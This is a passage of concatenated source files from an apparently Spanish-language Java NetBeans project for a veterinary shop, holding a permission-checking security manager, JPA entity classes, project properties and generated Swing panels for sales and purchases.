vete.Entidad.Permiso; import vete.Entidad.Usuario; import vete.Persistencia.Repositorio; /** * * @author Lisandro */ public class GestorSeguridad { private static GestorSeguridad instancia = null; public GestorSeguridad() { } public static synchronized GestorSeguridad getInstancia() { if (instancia == null) { instancia = new GestorSeguridad(); } return instancia; } public void ingresarUsuario(Usuario usuario) { //Le asigna un uid generado al azar al Usuario usuario.generarUid(); //Persiste el Usuario Repositorio.getInstancia().grabar(usuario); } public void ingresarPerfil(Perfil perfil) { //Le asigna un uid generado al azar al Perfil perfil.generarUid(); //Persiste el Usuario Repositorio.getInstancia().grabar(perfil); } public void ingresarPermiso(Permiso permiso) { //Le asigna un uid generado al azar al Permiso permiso.generarUid(); //Persiste el Usuario Repositorio.getInstancia().grabar(permiso); } public List<Usuario> buscarUsuario(Usuario usuario) { //Busca Cliente en la persistencia //FIXME List<Usuario> usuarios = Repositorio.getInstancia().buscar(Usuario.class, ""); return usuarios; } public List<Perfil> buscarPerfil(Perfil perfil) { //Busca Perfil en la persistencia //FIXME List<Perfil> perfiles = Repositorio.getInstancia().buscar(Perfil.class, ""); return perfiles; } public List<Permiso> buscarPermiso(Permiso permiso) { //Busca Cliente en la persistencia //FIXME List<Permiso> permisos = Repositorio.getInstancia().buscar(Permiso.class, ""); return permisos; } public boolean tienePermiso(Usuario usuario, String objeto, String tipoPermiso) { boolean puede = false; List<Permiso> permisos = usuario.getPerfil().getPermisos(); for (int i = 0; i <= permisos.size() - 1; i++) { Permiso permiso = permisos.get(i); if (permiso.getObjeto().equals(objeto)) { if (tipoPermiso.equals("INSERTAR")) { puede = permiso.isInsertar(); } else if (tipoPermiso.equals("ACTUALIZAR")) { puede = permiso.isActualizar(); } else if (tipoPermiso.equals("LEER")) { puede = permiso.isLeer(); } else if (tipoPermiso.equals("BORRAR")) { puede = permiso.isBorrar(); } else { JOptionPane.showMessageDialog(null, "ERROR. Permiso no existente.", "Consulta Permiso", JOptionPane.ERROR_MESSAGE); } } } return puede; } } <file_sep>/src/vete/Entidad/FacturaVenta.java /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package vete.Entidad; import javax.persistence.Entity; import javax.persistence.Inheritance; import javax.persistence.ManyToOne; /** * * @author Lisandro */ @Entity @Inheritance public class FacturaVenta extends Factura{ private static final long serialVersionUID = 1L; @ManyToOne private Cliente cliente; @ManyToOne private Vendedor vendedor; public Cliente getCliente() { return cliente; } public void setCliente(Cliente cliente) { this.cliente = cliente; } public Vendedor getVendedor() { return vendedor; } public void setVendedor(Vendedor vendedor) { this.vendedor = vendedor; } } <file_sep>/lib/nblibraries.properties libs.absolutelayout.classpath=\ ${base}/absolutelayout/AbsoluteLayout.jar libs.CopyLibs.classpath=\ ${base}/CopyLibs/org-netbeans-modules-java-j2seproject-copylibstask.jar libs.eclipselink.classpath=\ ${base}/eclipselink/eclipselink-2.0.0.jar;\ ${base}/eclipselink/eclipselink-javax.persistence-2.0.jar libs.eclipselink.javadoc=\ ${base}/eclipselink/eclipselink-javadocs.zip!// libs.JavaDB.classpath=\ ${base}/JavaDB/derbyclient.jar libs.junit.classpath=\ ${base}/junit/junit-3.8.2.jar libs.junit.javadoc=\ ${base}/junit/junit-3.8.2-api.zip <file_sep>/src/vete/Interfaz/PanelVender.java /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /* * PanelVender.java * * Created on 24-mar-2010, 19:16:43 */ package vete.Interfaz; /** * * @author Silvina */ public class PanelVender extends javax.swing.JPanel { /** Creates new form PanelVender */ public PanelVender() { initComponents(); } /** This method is called from within the constructor to * initialize the form. * WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { TabVender = new javax.swing.JPanel(); TabArticulos3 = new javax.swing.JPanel(); TextFieldBuscarArt3 = new javax.swing.JTextField(); ButtonBuscarArt3 = new javax.swing.JButton(); PanelButtonsArt3 = new javax.swing.JPanel(); jButton23 = new javax.swing.JButton(); jButton24 = new javax.swing.JButton(); jButton25 = new javax.swing.JButton(); jButton26 = new javax.swing.JButton(); jButton27 = new javax.swing.JButton(); jButton29 = new javax.swing.JButton(); jPanel1 = new javax.swing.JPanel(); jFormattedTextField8 = new javax.swing.JFormattedTextField(); jLabel28 = new javax.swing.JLabel(); ButtonBuscarArt6 = new javax.swing.JButton(); jFormattedTextField9 = new javax.swing.JFormattedTextField(); jLabel29 = new javax.swing.JLabel(); jTextField20 = new javax.swing.JTextField(); jLabel30 = new javax.swing.JLabel(); jPanel2 = new javax.swing.JPanel(); TabArticulos3.setName(""); // NOI18N ButtonBuscarArt3.setToolTipText("Buscar"); PanelButtonsArt3.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Tahoma", 0, 11), new java.awt.Color(51, 51, 255))); // NOI18N jButton23.setBackground(new java.awt.Color(255, 255, 255)); jButton23.setText("Nuevo"); jButton24.setText("Modificar"); jButton25.setText("Eliminar"); jButton26.setText("Imprimir"); jButton27.setText("Vender"); jButton29.setText("Opciones"); javax.swing.GroupLayout PanelButtonsArt3Layout = new javax.swing.GroupLayout(PanelButtonsArt3); PanelButtonsArt3.setLayout(PanelButtonsArt3Layout); PanelButtonsArt3Layout.setHorizontalGroup( PanelButtonsArt3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PanelButtonsArt3Layout.createSequentialGroup() .addContainerGap() .addGroup(PanelButtonsArt3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jButton26, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton25, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton24, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton23, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton29, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton27, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE)) .addContainerGap()) ); PanelButtonsArt3Layout.setVerticalGroup( PanelButtonsArt3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PanelButtonsArt3Layout.createSequentialGroup() .addContainerGap() .addComponent(jButton23, javax.swing.GroupLayout.PREFERRED_SIZE, 34, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jButton24, javax.swing.GroupLayout.PREFERRED_SIZE, 34, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jButton25, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jButton26, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(jButton27, javax.swing.GroupLayout.PREFERRED_SIZE, 34, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 98, Short.MAX_VALUE) .addComponent(jButton29, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Cliente")); jPanel1.setToolTipText("tool tip"); jPanel1.setName(""); // NOI18N jFormattedTextField8.setEditable(false); jLabel28.setFont(new java.awt.Font("Arial", 0, 12)); jLabel28.setText("Código"); ButtonBuscarArt6.setToolTipText("Buscar"); jFormattedTextField9.setEditable(false); jLabel29.setFont(new java.awt.Font("Arial", 0, 12)); jLabel29.setText("Nombre"); jTextField20.setEditable(false); jLabel30.setFont(new java.awt.Font("Arial", 0, 12)); jLabel30.setText("CUIT"); javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1); jPanel1.setLayout(jPanel1Layout); jPanel1Layout.setHorizontalGroup( jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel1Layout.createSequentialGroup() .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel1Layout.createSequentialGroup() .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel28) .addComponent(jFormattedTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel30, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jTextField20, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE))) .addComponent(jLabel29, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(jPanel1Layout.createSequentialGroup() .addGap(204, 204, 204) .addComponent(ButtonBuscarArt6, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE)) .addComponent(jFormattedTextField9, javax.swing.GroupLayout.PREFERRED_SIZE, 201, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); jPanel1Layout.setVerticalGroup( jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel1Layout.createSequentialGroup() .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addGroup(jPanel1Layout.createSequentialGroup() .addComponent(jLabel28) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jFormattedTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(jPanel1Layout.createSequentialGroup() .addComponent(jLabel30) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jTextField20, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addGroup(jPanel1Layout.createSequentialGroup() .addComponent(jLabel29) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jFormattedTextField9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addComponent(ButtonBuscarArt6, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE))) ); jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder("Factura")); javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2); jPanel2.setLayout(jPanel2Layout); jPanel2Layout.setHorizontalGroup( jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 277, Short.MAX_VALUE) ); jPanel2Layout.setVerticalGroup( jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 44, Short.MAX_VALUE) ); javax.swing.GroupLayout TabArticulos3Layout = new javax.swing.GroupLayout(TabArticulos3); TabArticulos3.setLayout(TabArticulos3Layout); TabArticulos3Layout.setHorizontalGroup( TabArticulos3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, TabArticulos3Layout.createSequentialGroup() .addContainerGap() .addGroup(TabArticulos3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addGroup(TabArticulos3Layout.createSequentialGroup() .addComponent(TextFieldBuscarArt3, javax.swing.GroupLayout.PREFERRED_SIZE, 214, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(ButtonBuscarArt3, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(TabArticulos3Layout.createSequentialGroup() .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, 248, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PanelButtonsArt3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addGap(28, 28, 28)) ); TabArticulos3Layout.setVerticalGroup( TabArticulos3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(TabArticulos3Layout.createSequentialGroup() .addContainerGap() .addGroup(TabArticulos3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(ButtonBuscarArt3, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(TextFieldBuscarArt3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(TabArticulos3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(PanelButtonsArt3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); javax.swing.GroupLayout TabVenderLayout = new javax.swing.GroupLayout(TabVender); TabVender.setLayout(TabVenderLayout); TabVenderLayout.setHorizontalGroup( TabVenderLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 900, Short.MAX_VALUE) .addGroup(TabVenderLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(TabVenderLayout.createSequentialGroup() .addGap(0, 94, Short.MAX_VALUE) .addComponent(TabArticulos3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 94, Short.MAX_VALUE))) ); TabVenderLayout.setVerticalGroup( TabVenderLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 453, Short.MAX_VALUE) .addGroup(TabVenderLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(TabVenderLayout.createSequentialGroup() .addGap(0, 19, Short.MAX_VALUE) .addComponent(TabArticulos3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 19, Short.MAX_VALUE))) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); this.setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 900, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(0, 0, Short.MAX_VALUE) .addComponent(TabVender, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE))) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 453, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(0, 0, Short.MAX_VALUE) .addComponent(TabVender, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE))) ); }// </editor-fold>//GEN-END:initComponents // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton ButtonBuscarArt3; private javax.swing.JButton ButtonBuscarArt6; private javax.swing.JPanel PanelButtonsArt3; private javax.swing.JPanel TabArticulos3; private javax.swing.JPanel TabVender; private javax.swing.JTextField TextFieldBuscarArt3; private javax.swing.JButton jButton23; private javax.swing.JButton jButton24; private javax.swing.JButton jButton25; private javax.swing.JButton jButton26; private javax.swing.JButton jButton27; private javax.swing.JButton jButton29; private javax.swing.JFormattedTextField jFormattedTextField8; private javax.swing.JFormattedTextField jFormattedTextField9; private javax.swing.JLabel jLabel28; private javax.swing.JLabel jLabel29; private javax.swing.JLabel jLabel30; private javax.swing.JPanel jPanel1; private javax.swing.JPanel jPanel2; private javax.swing.JTextField jTextField20; // End of variables declaration//GEN-END:variables } <file_sep>/src/vete/Entidad/Proveedor.java package vete.Entidad; import java.util.List; import javax.persistence.Entity; import javax.persistence.Inheritance; import javax.persistence.OneToMany; /** * * @author Lisandro */ @Entity @Inheritance public class Proveedor extends Persona{ private static final long serialVersionUID = 1L; private String nombreFiscal; @OneToMany private List<Factura> facturas; @OneToMany private List<Articulo> articulos; public Proveedor(){ } /** * @return the nombreFiscal */ public String getNombreFiscal() { return nombreFiscal; } /** * @param nombreFiscal the nombreFiscal to set */ public void setNombreFiscal(String nombreFiscal) { this.nombreFiscal = nombreFiscal; } /** * @return the facturas */ public List<Factura> getFacturas() { return facturas; } /** * @param facturas the facturas to set */ public void setFacturas(List<Factura> facturas) { this.facturas = facturas; } /** * @return the articulos */ public List<Articulo> getArticulos() { return articulos; } /** * @param articulos the articulos to set */ public void setArticulos(List<Articulo> articulos) { this.articulos = articulos; } } <file_sep>/nbproject/private/private.properties application.args= compile.on.save=true do.depend=false do.jar=true file.reference.db4o-6.1-db4ounit.jar-1=C:\\Users\\Lisandro\\Documents\\NetBeansProjects\\VeteJPA\\dist\\lib\\db4o-6.1-db4ounit.jar file.reference.db4o-6.1-java5.jar-1=C:\\Users\\Lisandro\\Documents\\NetBeansProjects\\VeteJPA\\dist\\lib\\db4o-6.1-java5.jar file.reference.db4o-6.1-nqopt.jar-1=C:\\Users\\Lisandro\\Documents\\NetBeansProjects\\VeteJPA\\dist\\lib\\db4o-6.1-nqopt.jar file.reference.nimrodlf.j16.jar=C:\\Descargas\\JAVA\\LookAndFeels\\nimrodlf.j16.jar file.reference.Vete.jar=C:\\Users\\Lisandro\\Documents\\NetBeansProjects\\VeteJPA\\dist\\Vete.jar javac.debug=true javadoc.preview=true jaxbwiz.endorsed.dirs=C:\\Archivos de programa\\NetBeans 6.8\\ide12\\modules\\ext\\jaxb\\api user.properties.file=C:\\Users\\Lisandro\\.netbeans\\6.8\\build.properties <file_sep>/src/vete/Interfaz/PanelComprar.java /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /* * PanelComprar.java * * Created on 24-mar-2010, 19:16:51 */ package vete.Interfaz; /** * * @author Silvina */ public class PanelComprar extends javax.swing.JPanel { /** Creates new form PanelComprar */ public PanelComprar() { initComponents(); } /** This method is called from within the constructor to * initialize the form. * WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { TabComprar = new javax.swing.JPanel(); TabArticulos4 = new javax.swing.JPanel(); TextFieldBuscarArt4 = new javax.swing.JTextField(); ButtonBuscarArt4 = new javax.swing.JButton(); SplitPanelArt4 = new javax.swing.JSplitPane(); jScrollPane5 = new javax.swing.JScrollPane(); jTable5 = new javax.swing.JTable(); jTabbedPane6 = new javax.swing.JTabbedPane(); jPanel22 = new javax.swing.JPanel(); jFormattedTextField21 = new javax.swing.JFormattedTextField(); jLabel37 = new javax.swing.JLabel(); jLabel38 = new javax.swing.JLabel(); jFormattedTextField22 = new javax.swing.JFormattedTextField(); jLabel39 = new javax.swing.JLabel(); jLabel40 = new javax.swing.JLabel(); jFormattedTextField23 = new javax.swing.JFormattedTextField(); jFormattedTextField24 = new javax.swing.JFormattedTextField(); jLabel41 = new javax.swing.JLabel(); jFormattedTextField25 = new javax.swing.JFormattedTextField(); jComboBox13 = new javax.swing.JComboBox(); jLabel42 = new javax.swing.JLabel(); jLabel43 = new javax.swing.JLabel(); jComboBox14 = new javax.swing.JComboBox(); jLabel44 = new javax.swing.JLabel(); jComboBox15 = new javax.swing.JComboBox(); jLabel45 = new javax.swing.JLabel(); jSpinner9 = new javax.swing.JSpinner(); jSpinner10 = new javax.swing.JSpinner(); jPanel23 = new javax.swing.JPanel(); jPanel24 = new javax.swing.JPanel(); jScrollPane13 = new javax.swing.JScrollPane(); jEditorPane5 = new javax.swing.JEditorPane(); PanelButtonsArt4 = new javax.swing.JPanel(); jButton30 = new javax.swing.JButton(); jButton31 = new javax.swing.JButton(); jButton32 = new javax.swing.JButton(); jButton33 = new javax.swing.JButton(); jButton35 = new javax.swing.JButton(); jButton36 = new javax.swing.JButton(); ButtonBuscarArt4.setToolTipText("Buscar"); SplitPanelArt4.setDividerLocation(150); SplitPanelArt4.setDividerSize(8); SplitPanelArt4.setOrientation(javax.swing.JSplitPane.VERTICAL_SPLIT); jScrollPane5.setPreferredSize(new java.awt.Dimension(468, 424)); jTable5.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null}, {null, null, null, null, null, null} }, new String [] { "Código", "Nombre", "Precio", "Costo", "IVA", "Stock" } )); jTable5.setColumnSelectionAllowed(true); jScrollPane5.setViewportView(jTable5); SplitPanelArt4.setLeftComponent(jScrollPane5); jLabel37.setFont(new java.awt.Font("Arial", 0, 12)); jLabel37.setText("Código"); jLabel38.setFont(new java.awt.Font("Arial", 0, 12)); jLabel38.setText("Nombre"); jLabel39.setFont(new java.awt.Font("Arial", 0, 12)); jLabel39.setText("Precio"); jLabel40.setFont(new java.awt.Font("Arial", 0, 12)); jLabel40.setText("Costo"); jLabel41.setFont(new java.awt.Font("Arial", 0, 12)); jLabel41.setText("Stock"); jFormattedTextField25.setEnabled(false); jFormattedTextField25.setOpaque(false); jComboBox13.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Medicamento", "Inyectable", "Vacuna", "Alimento", "Pet" })); jLabel42.setFont(new java.awt.Font("Arial", 0, 12)); jLabel42.setText("Rubro"); jLabel43.setFont(new java.awt.Font("Arial", 0, 12)); jLabel43.setText("Mínimo"); jComboBox14.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "%", "" })); jLabel44.setFont(new java.awt.Font("Arial", 0, 12)); jLabel44.setText("Margen"); jComboBox15.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "IVA (10,5%)", "IVA (21,0%)" })); jLabel45.setFont(new java.awt.Font("Arial", 0, 12)); jLabel45.setText("Impuesto"); javax.swing.GroupLayout jPanel22Layout = new javax.swing.GroupLayout(jPanel22); jPanel22.setLayout(jPanel22Layout); jPanel22Layout.setHorizontalGroup( jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel22Layout.createSequentialGroup() .addContainerGap() .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel37) .addComponent(jFormattedTextField21, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jFormattedTextField23, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel40) .addComponent(jLabel41) .addComponent(jFormattedTextField25, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(6, 6, 6) .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel22Layout.createSequentialGroup() .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel38, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(jPanel22Layout.createSequentialGroup() .addComponent(jLabel39) .addGap(68, 68, 68) .addComponent(jLabel44)) .addComponent(jFormattedTextField22, javax.swing.GroupLayout.DEFAULT_SIZE, 255, Short.MAX_VALUE)) .addGroup(jPanel22Layout.createSequentialGroup() .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(jSpinner9, javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jFormattedTextField24, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 100, Short.MAX_VALUE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jSpinner10, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jComboBox14, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)) .addGroup(jPanel22Layout.createSequentialGroup() .addComponent(jLabel43) .addGap(214, 214, 214))) .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel45) .addComponent(jLabel42, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jComboBox13, 0, 155, Short.MAX_VALUE) .addComponent(jComboBox15, 0, 155, Short.MAX_VALUE)) .addContainerGap()) ); jPanel22Layout.setVerticalGroup( jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel22Layout.createSequentialGroup() .addContainerGap() .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel37) .addComponent(jLabel38) .addComponent(jLabel42)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jFormattedTextField21, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jFormattedTextField22, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jComboBox13, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(jFormattedTextField23, javax.swing.GroupLayout.PREFERRED_SIZE, 20, 